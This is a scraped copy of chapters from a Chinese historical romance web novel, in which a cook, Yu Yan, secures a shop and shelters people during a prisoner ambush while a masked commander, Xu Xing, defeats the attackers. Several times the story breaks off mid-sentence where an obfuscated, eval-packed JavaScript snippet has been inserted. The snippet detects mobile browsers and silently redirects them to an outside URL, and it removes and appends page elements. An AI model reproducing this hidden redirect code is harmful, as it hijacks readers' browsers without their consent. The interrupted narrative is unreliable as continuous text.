自打有记忆起，街坊四邻就喊他“徐铁匠家的小子”，或许是他阿爹的男人，清醒时喊他“喂”，喝醉时喊他“野种”，附近同他差不多年纪的小子们，他们不喊他。 阿娘也不喊，徐行从未见过阿娘。 只有隔壁家的外孙女，时常随母亲回娘家来探望。 小娘子梳了整齐的发髻，穿着洁净的裙裳，不知踩在什么东西上，扒着墙头偷偷打量，打量他因为常年烧炭锻造，目之所及都蒙上了脏兮兮烟黑的家。 阳光照在她绒毛未褪的脸颊上，明净柔软，像一捏就能留下指印的桃果。 ——“哥哥，你叫什么名字？” ——“你看见我阿翁养的小狗了吗？它是不是跑到你家里了？” 那时自己是怎么回答的？ 是“没看到，滚！” 还是“别来烦我。” 总之，不会是什么好话。 虞嫣被她阿娘照料得太好了，她身上有那时愤世嫉俗的自己很厌恶的无忧无虑。 徐行策马，跑出了蓬莱巷，闷在脸上大半宿的樟木面具一摘，丢给了路边小孩。 晨风毫无遮挡，扑在面上，很是畅快淋漓。 魏长青在他跑过三条街后，找到了他。 “老大！戴锦平的人报送了京兆府，要在那道观原地封押，要求京兆府派捕快来接押。” “不出奇。” 按照军制，戴锦平要封锁现场，派人飞报他这个主帅，再调护送队伍。 不派人传消息回禁军，反而要京兆府接押，就是要抢先上报功劳。 “可他要求四天后再接押。” 徐行一顿，“为什么？” “说是逃犯昏迷不醒，需要医治。” 他下手有分寸，那个外号“独眼”的情报贩子不会一直昏迷，“四天后有什么？” “什么都没有啊，快到中元节了，你没看见街上边边角角都是烧完的纸钱蜡烛。” “那就是中元。” 魏长青茫然地。 徐行想了想：“郑二他们最近在街道司怎么样？” “闲得骨头缝都发痒了。” “告诉他们，抓紧练练。” 魏长青反应过来，嘿嘿一笑，颊边一点凹陷，看起来就是个酒窝。 那是火药炸飞，铁刺碎屑直直钉穿了他脸颊，留下的伤疤。 军医说他运道好，舌头没有大碍，否则治好了也是个说话含混的大舌头。 徐行看了一眼这个被虞嫣误会的，温和无害的酒窝。 虞嫣怕很多东西，虫子、鬼怪模样的玩偶、蓬莱巷的浑小子们打架打得鼻青脸肿……总而言之，和大多数女儿家大差不差，所以没准也包括他的脸。 * 日头正晒，热浪滚滚。 虞嫣背着她的小挎包，跟在牙人周老三身后，鬓边细汗被风一抚，没多久又润湿了。 “虞娘子放宽心，帝城的好铺子，我闭着眼都能数过来，保准给你挑个旺铺！” 周老三四十出头，身材精瘦，两撇八字胡，半旧蓝绸衫，腰间悬个锃亮的袖珍算盘，眼神时不时往她的小布包上一扫。不用拨算珠，虞嫣耳边就能听到哒哒哒的算盘响。 “你要开食肆，就得找人多聚财气的地界，热闹才是根本不是？” 说话间，已到菜市口，此起彼伏的吆喝声盖过了藏在树上的蝉鸣。 周老三推开了街角一间铺子的门，他侧身让虞嫣进去，“瞧瞧多热闹，客来得紧，周围都是常住街坊，最是容易上手。” 不通风的沉闷气味，混着隔壁肉铺的腥味飘来。 虞嫣径直走向里间的厨房，灶台泥砖被烟火熏得发黑，除了烟黑还有浮尘。她摸摸，又摇头，“厨房太小了，光是灶台就占了大半，多一个人，连转身的地方都没有。” “是是，这铺子是小了点。我带娘子看第二家！” 第二家藏在里巷。 格局方正，装潢还很讲究。 “娘子您瞧！多通透亮堂，这梁是上等好木，这雕花窗，这地砖，稍微拾掇一下，就体面得不得了，别说食肆了，做成个小酒家都成。” 体面是体面了，可巷子窄，通不了车马。 巷口看好半天了只有个提着菜篮子，住在附近的老翁进来，虞嫣还是摇头，“周牙人还有旁的铺子吗？这里偏僻了些。” “娘子这话说的！生意哪有送上门的？还得靠自己经营啊！” 周牙人摇着蒲葵扇，老神在在。 牙行的约定俗成，先带客人看三五间劣的，再看个好的，拍板就快了，当场就能下定。 “我傍晚还有事，看不了几间了，周牙人带我再看一间，我就走了。” “行，我还知道有一间，最最符合娘子要求的。” 转过两条街，眼前开阔起来。 恰好是临近开宝街治疗如意的医馆。 店铺在宽敞平直的大道上，往来马车络绎不绝，街上贩夫走卒、行人布衣绫罗皆有，商铺挂的幌子和旌旗连成一列，喧嚣声远远就能听见。 待租赁的铺子有规整的朱红木门。 推开门，堂屋高阔，四扇方窗敞开，清风徐来。再看后厨，比前两家大了一倍，一扇高窗让阳光和清风都能透进来，灶台是新砌的，烟熏痕迹很淡。 “怎么样，虞娘子？” 周牙人得意地问，摸出袖珍算盘，“可是一家好铺子？这铺子的地界不用我说了，客源不愁。不过主人家把规矩定死了，三年一租，头一次交够一年铺租，就……这么多。” 虞嫣面露犹豫。 京兆府给的赏金，她拿到了，是实打实的银锭子…… 不过一签约就签三年，头一年还要交这么多铺租。 “虞娘子要租趁早喏！昨日还有个做绸缎生意的客人来看过，对这铺子满意得很，就差没交定金了！你看这地界，过了这村可就没这店了！” 周老三早把她的神色看在眼里，“店主人就在后堂，要不我带你去见见？说说价？” 虞嫣点头。 房东李掌柜是个五十多岁的富态商人，穿着件茄色的团花锦袍，正在后屋冲茶。他听了周牙人的介绍，轻轻瞭了一眼虞嫣，一口就回绝了，“不降，就这个价了。” 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周老三张了张嘴想说什么，半晌郑重“哎”一声，捏着银子，转身往铺子里走。 这日，虞嫣比往常时刻晚了一些才到舟桥夜市。 徐行还是没来找她分账。 她把小布包藏在了花糕案底下的暗屉，以前没觉得银子揣着烫手，放在蓬莱巷怕遭贼，随身带着又怕被人惦记。归根到底，这些不是她的，落了口袋都不安心。 虞嫣等到了第三天。 男人依旧戴着樟木面具，虞嫣凭他身形辨认出来，赶紧把裹好的那包银子拿出来给他。 徐行掂了掂重量：“什么意思？都给我了？” “我拿了的，如意的汤药费一分，他们为所作所为赔我的两分，剩下七分都在这。” 徐行沉默了会儿，双眸轻扫她在舟桥夜市租赁的小摊位。 木头架子搭起来的摊位，头顶是勉强遮风挡雨的青布伞，夏夜还算凉快，秋冬就是个纯招风受罪的地方，不如拿这笔钱去盘个铺子安生。 ——算我给你投的。 话在唇边打转，没说出来：“那两分，什么打算？” “我相中了一个铺子，若东家愿意降低一些条件，攒的钱加上这两分，就能签下来。” “要签不下来？” “那……”虞嫣顿了顿，“我就慢慢挣出来。” 徐行把那包银子塞入怀里，算是接了，转而摸出了三十文钱给她。 “都是甜口的，要什么馅儿？上头木牌子有写。” “哪样最不好卖？” “枣泥馅的。” 天热不好保存，大多数客人买回家去，至多放一两日就坏了，最容易卖剩下。 虞嫣尽量做少一些，但还是估摸不准量。她的手越过枣泥馅的巧果，要给徐行去打包其它，“尝尝芝麻乳糖和鲜果的？这两种卖得最好。” “不，”徐行打断她，“就要枣泥的。” 14. 第 14 章 夜市灯火渐次熄灭。 往常最滞销的枣泥糕，多得徐行，今日早早地卖完了。 虞嫣提起空空如也的篮子，与同她隔了四个摊位，卖五香牛肉和梅子酒的柳娘子一同归家，听她有一搭没一搭地抱怨，“花灯节过后，我这头生意少了许多，你呢？” “大差不大，等秋日天儿冷，也该换一换。” 虞嫣往常收摊，不必与人同行，因为有如意。 小黄狗还在养伤，她只能变着法子打探，哪个摊主人住处离蓬莱巷近，好与她结伴。 可是再顺路的人，总有告别时。 走了约莫三刻钟，柳娘子的家快到了。 巷口隐隐有烛火，有人蹲着在路祭，晕出一团小小的暖黄灯光。 柳娘子目光随虞嫣若有所思的神情望去，“我都忘了，明儿中元，明儿我不出摊，你别跑空了，要是害怕再遇到坏人，你就找对面卖香糖果子的胡婆婆。” “我也不出的。” 中元有庙会，有祈福道场，是商贩们喜爱的节庆，但是她要留在家里祭奠阿娘。 “那后日再见咯。” “好啊。” 虞嫣笑笑，目送柳娘子进去了。 门扉在她眼前慢慢掩上。 门闩落下一声响，像一把小锤子，轻轻敲在了她的心头。 她安静站了会儿，再行路时，觉得街道突然变空荡荡了许多。 她的鹅黄布鞋踏在路面，脚步好像变得很大声，会惊动什么人。 虞嫣走在中线上，左右哪边都不挨近。 每经过一道昏暗的巷口，她就加快一点脚步。巷子仿佛一张黑色巨口，里头会凭空再伸出一只大手，将她拖拽进去，陷入无法掌控的境地。 “啐！” 不知哪个角落传来了醉醺醺酒鬼的吐痰声，却见不到人。 虞嫣像一只炸毛的猫，定了一瞬，便飞快地跑过了两三个巷口，拐角处有重重的马蹄声和轻微的甲叶摩擦声。她躲进了道旁树下的阴影里，攥紧了篮子提柄，不敢眨眼地看。 一队军士巡逻经过。 那道尤为挺拔，戴着面具的高大身影就在其中。 徐行依旧一身黑色戎服，没有穿轻甲。 那个叫魏长青的小哥，并行在徐行身侧，手里拿着个油纸包，两颊塞得鼓鼓的，正在吃她做的枣泥糕。 虞嫣松了一口气。 她认得她的油纸包，上头有特殊花纹。 普通军士骑马巡逻的速度，比人走路快一些。 她从阴影里出来，握紧提手的指节松开了，像个小尾巴一样，不远不近地缀在巡逻队伍的后头，直到队伍比她更快，消失在街道尽头。 街道还是那条街道，巷子还是那个巷子。 但是好像，没那么怕了，因为这一片，是徐行在巡逻。 虞嫣安稳地回到了蓬莱巷，插上了门闩。 长街另一头。 “咳、咳咳……” 牛嚼牡丹般吃糕点的魏长青，被噎了一下，抽出水囊灌了两口，才把那团粉面咽下去。 徐行已经勒马，从这个距离，还在远远看虞嫣消失的方向。 “老大……” 魏长青受不了，拍拍胸口保证，“我给你个提议？讨好姑娘这事，我在行的。” 徐行捏着手里的面具，瞭了他一眼，那意思很明显，有屁快放。 “你把将军身份亮出来，直接送人回家不就完事了，整这么多弯弯绕绕？” “烂提议。” “哪里烂了？我好歹是有未婚妻的人，你光棍一个那么多年……” 魏长青不忿，被徐行抬手打断了。 不远处有人赶来，是被徐行安插在街道司的郑二。 “老大，打听到了，京兆府的押送路线。” 郑二跑马急，平顺了一下呼吸，“明日从昌顺街往南，一直到盛安街，再转入皇城门，交给枢密院。但京兆府忙，只抽掉了半个衙门的押送人手。” “谁定的路线？” 徐行皱眉，盛安街附近有庙会，要是发生劫囚，最混乱的地点，就是最便利的地点。 “嘿，还能有谁。” 魏长青揉吧揉吧那团油纸，丢进旁边一家商户前头的簸箕里，“戴锦平是瑞王的人，没办法，京兆府捏着鼻子都得认。要抢功劳，自然是知道的人越多越好，巴不得敲锣打鼓呢。” 郑二点头，“我们这边看到的，昨日瑞王去拜会了京兆府尹。” 徐行烦躁地吸一口气，“准备好，收拾烂摊子。” * 翌日，虞嫣一早就起来收拾打扫，将用作祭台的桌子擦拭得一尘不染。 素色纱布铺好后，依次放上了阿娘喜欢吃的糍粑、香梨、猪颈肉、米酒，还有一双干净的碗筷。香烛点燃，各色的纸制冥器和话本子投落铜盆里，在跳动的火舌里化成灰烬。 外祖家里有很多阿娘出嫁前的旧物。 虞嫣找到了一把有桃花枝雕饰的梳子，把梳子也投入铜盆里，默然了半晌，不知说什么。 上一年祭奠，她还在陆家。 婆母不喜欢，她只能提前去寺庙里添香油钱，给阿娘点一盏长明灯。 如今倒是能光明正大地祭拜了。 “阿娘，我和离了。” 她想了一会儿，“你会支持我的，对吗？” 这是个虞嫣不必求证的问题。 是阿娘教会了她酸甜苦辣咸，五味如何调和。 是阿娘手把手教她掌勺，用一碗冷饭，两颗鸡蛋，一点油盐酱，变成安抚胃肠的碎金饭。 也是阿娘在病床前告诉她—— “不要说服自己忍受无法忍受的事。这个世上，没有任何东西比你的性命，比你能够按照心意过好这一生更重要。这个道理，阿娘懂得太晚。” “但你还年轻，你永远不晚。” 阿娘无法忍受夫君纳妾，无法忍受夫君更爱重另外一个女人，所以频繁地带她回外祖家，频繁地与她阿爹争吵抗议，最终为了诸多考量而妥协了。 虞嫣看着她日渐消瘦，看着她情志郁结，化成了病。 她比阿娘幸运，她还没有孩儿。 她有一间空屋，有一笔积蓄，还有一只康复得不错的黄毛犬。 她不会重蹈覆辙了。 香烛快燃尽时。 铜盆烧的纸冥器里，不知缘何故，蹦出了点灰烬，弹到了虞嫣的手背上，火星灼热一点，转瞬即逝。她转眼去看，随即失笑，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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所有食材分门别类，所有调料井然有序。 这里有时是厨房，有时是禅房。 她洗净手上祭拜过后留下的香灰，稳稳地挑出了一罐色泽浓郁的红油酱料，然后把目光落向盆中白如玉膏的豆腐。家家户户常备，最简单，最快就能出菜的豆腐。 李掌柜可能不信任她能够在食肆众多的盛安街站稳。 可能不喜欢本地大酒家所崇尚的精致清鲜的南食风范。 但他不会不怀念家乡的味道。 虞嫣备菜，点火，无比耐心地等待那锅烧热。 她倒了一勺油。 “滋啦——”一声，她的天地再度安静下来。 时间流逝变得很快，又仿佛很慢。 虞嫣熄了火，把成品装入食盒，在底部垫上灌装了热水的革囊，以便最大限度保存它的香气，最后擦干净手，摘下了布围裙。 周老三缩在门檐阴影处，饮虞嫣那碗不知是什么果子熬的熟水，酸甜生津的。 等了不一会儿，看见她院里的屋顶飘起炊烟，一股略微刺激的椒麻香味，像无数个小勾子，直往他的鼻窍里钻，接着变成了醇厚咸鲜的酱香。 明明来之前才吃过东西的。 他肚子叽咕一下，到底什么玩意，香得他快流口水了。 屋门推开，周老三眼巴巴地，看虞嫣手里提着个食盒出来。 “我们租车，去盛安街，要快。” 15. 第 15 章 马车在临近盛安街两个路口，速度就慢了下来。 虞嫣搂着食盒在腿上，“外头怎么了？” 周老三在驾车室给她打开了帘子，“好多人，前头有庙会，走得艰难。” “下车吧，我们走过去。” 虞嫣在前头拐角，让马车停下，护着她的食盒与周老三穿越拥挤的人群。 街上随处都是垂髫稚童，牵着双亲衣角，在欢声笑闹。 糖画、面人摊前人头攒动，杂耍艺人翻着筋斗引得了阵阵喝彩。 虞嫣越走越慢，目光一一掠过街道旁好几个生意冷清的商贩。 周老三回头不解，“虞娘子，怎么了？” 虞嫣说不出来。 她近来不是在官署街区卖朝食就是在夜市摆摊，同流动商贩们打了不少交道，这些人形形色色，男女老少都有，相貌、气质、身材迥异，却有一种难以掩藏的共同气质。 一种为生计奔波忙碌，为几十文铜板精打细算，深深刻在眼里的疲倦。 无论如何热情殷勤，这种疲倦都会在最不防备的时刻流露。 她揽镜自照时，亦从自己眼里看到过，而这些商贩并没有。 “或许是我想多了。” 虞嫣摇头，加快脚步跟上了他。 临街店面依旧是虞嫣记忆中的敞亮整洁，窗明几净，往来客流络绎不绝。 李掌柜指节叩着桌案，显得等得有点不耐烦： “虞娘子再晚一刻钟，我就要收铺子，去对街盘账了。” “我来迟是有原因的。掌柜的担心我经营不善，怕我做几个月就撑不下去。” 虞嫣将食盒放在他面前，打开了盖子，一股麻辣浓厚的香味飘出来，伴随着热气。周老三朝食盒里瞟了一眼，望见一碗红油裹着的嫩白豆腐块，碎肉星子与酱汁混溶。 “这是我与李掌柜开始商议之前的，一点诚意。” 虞嫣将碗筷递过去，直视他的眼睛。 李掌柜在嗅到香味的那一刻，鼻尖就开始发痒。 他想到了食盒里有什么。 他面上无波无澜，慢吞吞地接过虞嫣递来的勺子，“虞娘子该知道这是个冒险的举动。家乡菜很好，但你不是川蜀人，你未必把握得了。” 虞嫣没有接话。 李掌柜勺起了浸润酱汁的嫩滑豆腐，送入了口中。 周老三跟着咽了咽口水。 “啪！” “啪！退开，都退开！” 有官兵扬鞭开道的声音，循着店铺透亮的窗扉，一下一下传入虞嫣的耳朵里。 李掌柜还在品尝，微微凝眸，再舀一勺。 虞嫣禁不住走到了窗边，观察起来，是京兆府的押送队伍在斥退盛安街上参与庙会的人群，要开出一条道来。 她见过的独眼老叟身戴枷锁，两颊瘦削，神情平静地被押送在队伍中间。 “虞娘子。”李掌柜开了口。 虞嫣刚回头，“轰”一声震响，摇天动地般，叫桌上瓷杯碗碟都跟着晃了晃。爆破此起彼伏，街上传来厉声尖叫——“走水啦！快来人啊！”“啊啊啊啊！”“救命啊！” 火光暴起，像破土而出的笋尖，毫无规律，接二连三。 对街商铺在几个呼吸之间，冒出丛丛火焰，缭绕相交，成了一片汪洋火海。 “走水了？”周老三扑到窗边，望见对街店铺里，人群四散溃逃。 李掌柜扔了碗筷，三步并两步，“我在对面还有一家卖瓷器的铺子！得赶紧救火。” “先……先不要出去，还不能出去。” 虞嫣抢在他前头，手一拉，阖上了半扇门，“这么大火会有官兵救援的。” “你犯什么愣？就是不救火，我们待在这，等火势蔓延活活被烧死吗？” 李掌柜伸手拨开了她，却被虞嫣死死地拽住了衣袖，看着纤弱单薄的娘子，不知哪里来的力气，硬是把他留在了门槛里。 倏尔，一声尖锐呼哨，穿透混乱，贯穿在场人的耳朵。 一队蒙面黑衣人仿佛从天而降，挥动寒芒锐利的刀，逼近了押送队。 大刀劈落，裹挟凌厉杀意，押送兵卒仓促地举盾相迎。离得最近的卖货郎来不及躲闪，担子被横飞的刀背砸翻，痛呼着摔倒，又被混战的马蹄碾过小腿。 相隔半条街的庙会，远远传来中元节特有的招魂乐，在哭喊混乱的叫声中显得缥缈。 一窗之隔，豆腐椒麻浓香的气味犹在，窗外却是人间炼狱，恶煞降临，开启了无差别的屠戮。就在她和他们的眼前。 虞嫣感觉李掌柜挣脱她的力道松了。 周老三嘴唇嗫嚅两下，“可是不跑……不跑躲在这里，等会儿烧着了……” “你看商铺幌子飘的方向，现在吹西南风，火势会向后蔓延，街上才是最危险，最容易受伤的。”虞嫣到窗前伸手，确认他们看清楚后，阖上了支摘窗。 下一刹那，一滩鲜红的血迹就飞溅在洁白的窗纱上。 周老三回魂了，赶紧跑到另一边，把两扇窗合上。 虞嫣的外祖父从前在军巡铺子当差。 军巡铺子白日巡查街巷治安，夜里专司火情警讯。 因而，外祖父教授过她很多走水如何急救，如何保障自己安全的方法。虞嫣向二人保证：“铺子天井的后墙，那里堆了好几个杂货箱子，真的烧起来，我们从那翻墙跑，还来得及。” 李掌柜冷静下来，脸色难看地坐回了罗圈椅。 虞嫣说得没错，留在这里，才是最安全的，但虞嫣劝说完他，自己往门后走去。 “虞娘子，你要做什么？” “我想在门缝看看。” 李掌柜审视着她，“你一个姑娘家，有事了抵得住门吗？” 虞嫣还要继续说服他，他抬手，“我来守门。周老三去后墙做准备，以防万一。” 石砖路面氤出一滩一滩血迹。 有人被打斗者撞得踉跄，倒地后被踩踏，奄奄一息。 有人抓起棍棒防身，在逃跑时被黑衣人误认成了伪装的官兵，一刀猛然扎入了胸口。 六神无主的妇人，抱着嚎啕大哭的孩子，不敢跨越厮杀混战的刀光剑影，不敢躲入火光逼近的对街店铺，浑身僵硬地打颤。 虞嫣将门缝开得更大一些。 她把裙裾扎起来，深吸一口气，冲了出去。 火光灼烫，熏出浓烟。 徐行视线里的一切，变得都轻微扭曲。 这场火，与多年前他驻守边城，城内有外敌潜入纵火的那一场很像，像到他面上的陈年疤痕开始滋生难以言说的，微妙的痕痒。是同一群人，是一模一样的手法。 徐行鹰隼一样的双眸，无声观察局面。 预先埋伏好的郑二带领的街道司士兵，与只听令于他的亲兵，像潮涌的浪花冲上沙滩边缘，以稳定迅疾、三面包围的形式，迫近了截杀押送队的黑衣人。 他拔出了刀——“上”。 就像一头等待捕猎已久的野豹，浑身肌肉贲张，如拉到极致的满弓，他率先跃入了街头混战的最中心，一交手，就察觉出了这些黑衣人是死士，训练有素的死士。 承平日久的京兆府官兵会怕死士。 以逸待劳，从未被真正轮调过边境战场的戴锦平一系会怕死士。 徐行和他身后真正有过命交情的儿郎们不怕。 死士头领逼近，挺剑直取徐行咽喉，凌厉如电。 徐行旋身避开，手肘狠撞他肋下，对方吃痛却更近一步，反腕横剑削向他腰腹。两人交手了十多来回，对手显出疲态，被押送的犯人“独眼”在惊慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618999|187784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下左右四顾，想往空隙跑。 对方分了神。 一瞬的破绽，能决定生死。 徐行手法快如鬼魅，力道似钢铁，扣住他手腕一拧，借力将剑刃反向送进死士头领心口。这不是招式与武术，是纯粹力量与求生欲的搏斗，他眸光晦暗，看着对方眼中的光芒一点一点地涣散，才松了手。 以为自己能够逃出生天的“独眼”，又落到了龙卫军手里。 敌方任务失败，兵戈消退，绝大部分黑衣死士都自尽了。 军巡铺的救火兵丁终于得以入场，不少商铺已被烧得只剩个空架，里头还不知道有没有人。 徐行把“独眼”丢给了魏长青，“看好他。” 他在京兆府押送队里，找到了在混战后狼狈的戴锦平面前，一把提起他的衣领，将他拖入了旁边的巷道深处，一拳砸在了他的脸上。 戴锦平啐出一口血来，徐行又一拳砸来。 “你到底知不知道自己在做什么？” “想要功劳，设这么粗糙的布防？” “你自己走出去，看看大街上多少无辜百姓被殃及？睁开你的狗眼，好好看清楚！” 就算早早设下后手，就算及时控场。 戴锦平一系的人比他预计的更快溃败，连一点缓冲的余地都没给徐行留下。 徐行钳制他的肩膀，将他推了出去。 戴锦平踉跄几步，嘴角连着面颊热辣辣的全麻了，一股热血往脑门上冲，可面对向他们这边投来的各种视线，他胸口起伏，说不出一句话来。 “老大，六个重伤的百姓，街道司都和金吾卫联合，送去附近医馆了。” “只有六个？” 郑二更详细地汇报了清点过后的伤亡，意外地，比徐行预料的少很多。 那股暴怒平息一些，他竭力控制呼吸，“她怎么样了？” 他在伪装埋伏时，看见了虞嫣。 虞嫣本不该出现在这里，以她的性子，她合该在蓬莱巷祭奠她的亡母。 “虞娘子没有受伤，不过……” “说。” “老大，你自己去看吧。” 郑二含糊其辞，徐行推开他，大步走向了他印象中虞嫣进入的店铺。 那家店铺有很体面的朱红门板。 此刻，门板被打开了容一人出入的位置，鬓发微乱的年轻女郎，柳叶弯弯眉，水杏盈盈眼，从里头小心翼翼地探出头来，白莹莹的一张脸毫无血色，却还算镇定，很快缩了回去。 徐行听见了她的声音—— “救火官兵和军队都来了，应该……没事了，都快些回家吧。” 虞嫣那只白皙柔弱的手，扣上拉环。 她把店铺门板拉开更大，完全露出了里面的模样。 店铺里挤满了人，形形色色的人。 神色仓惶地抱着孩子的妇人。 不知哪里受伤了，半边肩膀还淌着血，依然一手紧紧搂着根扁担的伙夫。 提着铜锣耍猴的艺人，小猴子身穿红金短褂，缩成一团，扒拉在艺人肩头瑟瑟发抖。 …… 人群慢慢走了出来。 每一个走出来的人，都同她低声道谢。 “虞姑娘，谢谢你。” “要不是你，我和孩儿就回不了家……我，我都不敢想。” 虞嫣的衣袖上有星点血迹，布裙摆胡乱扎成结，垂在她长裤旁，声音依旧轻轻的：“不是我的铺子，是李掌柜的，你们要谢，就谢谢他吧。” 脸上的旧烧伤在发烫，灼痛到了徐行眼皮。 他停在距离虞嫣七八步的地方。 胸腔满胀，手背青筋泛起，几乎用了全部理智，才没有以这副面貌，冲到虞嫣面前，把她揉进怀里。 虞嫣， 虞嫣。 16. 第 16 章 官兵清场，火情受控，街上还残留某种叫人胆颤心惊的凌乱。 周老三和李掌柜是最后从铺子里走出来的。 李掌柜还算镇定，周老三心有余悸，扶着一架翻倒的果蔬推车，双腿虚弱地坐在地上。 那些听了虞嫣话的人，陆续走来朝李掌柜道谢。 李掌柜略一点头领受，目光还锁定虞嫣，待人群散去了七八分，“虞娘子，我对街铺子被烧，还有待盘点清理，但我想与你谈谈这间铺子的租赁。” “我给你最优惠的条件，一年起租，你给我三个月租费为定金，今日就能签契书。” 他试过了，虞嫣的手艺很好。 虞嫣冷静，大胆，还是一个懂得积累善缘，懂得将功劳分享的人。 这样的人，无论是当租客、主顾，还是合伙做买卖，都是值得信赖的选择。 “那我等李掌柜。” 虞嫣双眸亮起光彩，环顾了一圈盛安街，想找个勉强能够歇息，饱腹一顿的地方。 李掌柜一指东边，“你去找隔壁开宝街的荣记茶楼，我有投钱，你同伙计说一声，要在开云间等我，他就能明白过来。” 那她正好去开宝街看如意。 虞嫣抬脚要走，望见远处一道有几分眼熟的背影，宽肩窄腰，一双长腿笔直，是徐行正在帮一个卖酒水的商人扛起倾倒的货架。他看起来没有受伤，她收回视线，步履轻快地往开宝街去。 等到同李掌柜商议完一切，再出来时，天已完全黑下去了。 残月无星，开宝街的灯笼在夜风中乱晃，光影缭乱。 虞嫣后知后觉地涌上来一股疲倦，还有，对黑夜的紧张。 “虞姑娘。”有人沉声唤她。 她看见徐行从荣记茶楼旁的榆树后走出来，“盛安街骚乱，今日戌时三刻后戒严，所有民众居家，无关人员不得随意出入。” 他摩挲着刀柄，后撤半步，转了面向，“我送你回去。” 周遭安静，隐隐约约地，能听见远处更夫的报更声。 男人穿着寻常军士的短打劲装，腰间挂着最制式的刀，走在她左前方半步的距离。就像是他说的那样，这不是与熟悉亲近之人的并行距离，是执勤士兵与普通被护送者的距离。 虞嫣抬眸去看。 往常那些黑漆漆的巷口，随时可能冲出醉汉的阴暗角落，好像都被一层无形的屏障隔开。 徐行一直没有说话。 街上每一只灯笼散漫的光，都在他面具上晃过一团模糊的光影变幻。 为什么会要一直戴着面具呢？ 是有什么需要遮掩的…… 虞嫣盯得有点久了，久到徐行侧眸，她捏着衣角，若无其事地挪开了视线，压下了自己或许过分冒昧的好奇，跟着徐行来到了街口。 惯于沉默的男人声音压得很低，醇厚的声线混在夜风里，依然字句清晰。 “今日胆子还不小。” 他说这话时，还在留意路口两侧来往的车马和行路人，“万一你受伤，你的小黄狗谁照顾？你舟桥夜市的摊子怎么办？” 徐行看到她今日的所作所为，但他的口吻太平静了。 虞嫣没听出责备，却听出了一种问询，他在问她这么做的底气在哪里。 她张了张嘴想解释，徐行的新问题已经抛过来了。 “以前也这么大胆？” “劫囚不是什么天天都能碰着的事情啊……” 前头快要打烊了的酒铺子，冲出来两个骂骂咧咧，说话含糊成一团的醉汉。 虞嫣还没来得及往后缩，徐行就往右后方撤了半步，身体一横，肩背像一堵宽厚的墙，把她遮得严严实实的，她看不清楚醉汉模样，只感到他透过戎服散发的体温。 男人的拇指卡入刀柄与刀鞘的间隙，推出两寸寒芒。 两个醉汉被他身上腾然迸发的威压吓到，顿时醒了几分酒意，嘟囔着绕开了。 他等两个醉汉走远了，“跟上。” 蓬莱巷的外祖家门，就在眼前了。 虞嫣停下来道谢，“你回去巡逻吧。” 徐行站在门檐阴影下。 头顶灯笼的光，把他本就颀长挺拔的身躯勾勒出更斜长的轮廓，铺在青石砖路面，快延伸到隔壁家宅门前。他没有离开，就这么静静看着她。 面对面的，毫不避讳的目光，从面具掩盖的幽深长眸里流露而出，持续了几个呼吸。要不是他再开口，口吻依旧冷静克制，那目光便几乎给了虞嫣一种热到灼烫的错觉。 “日后行事，先多想想自己。” “我知道的。” 她推开了外祖家的门，迈步进去，回身慢慢阖上了门。 黑色戎服包裹的面具军士在门缝里慢慢变窄。 “还有。”那声音微哑，低得像在耳语。 虞嫣眼前的门已经完全阖上了。 ——“做得很漂亮。” 她眼皮一热，落闩的手按下，木条发出轻微的“咔”声。 过了一会儿，门扉外才响起了规律的，乌皂军靴踩在青石板上的声音。 * 晌午正是闷热的时候，连知了的叫声都绵软无力。 徐行待在国子监祭酒府邸的庭院里，抱臂看树荫下一个锦衣小公子在扎马步。 “别抖，大腿再压低一点。”他的靴尖虚虚点他膝头。 蔡小郎君双颊涨红，满头满脸的热汗，滴答滴答往下流淌，浑身忍不住打颤，“师父……我不行了……我没力气，要往前栽了。” “你敢栽下去，先头练的时辰就重新开始算。” 蔡小郎君发出一声哀嚎，咬牙撑住了动作。 计时滴漏发出“哒”一声。 蔡小郎君果真一屁股栽倒在地上，任凭干净新亮的锦袍蹭上地面尘灰。 徐行没管他，走向了遮阳蓬下安坐的蔡祭酒和秦夫人。 中元节骚乱，虽然是力压下去了，朝廷为预防后续节庆再发生类似事件，抽调了大批人手在各街各巷排除隐患，徐行已接连七八天没来检验这臭小子的习武成果了。 他站在一张香几前，把之间搁下的令牌、钥匙、马鞭……一样样再挂回腰间革带，“他下盘不稳，马步没练够时辰，我明日一早来监督，走了。” “爹，娘……” 蔡小郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619000|187784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君被长随背起来，放在了弥勒榻上，抓起侍女准备好的半温茶水，咕咚咕咚就往喉头灌，“我快要没命了，放过我吧。” “说的什么浑话！”秦夫人敲他脑瓜子。 “是真的，师父太严格了……” 蔡小郎君抱头哀嚎，拿眼睛去瞟他的师父，徐行整理好，转身就要走了。 管事这时候走进来。 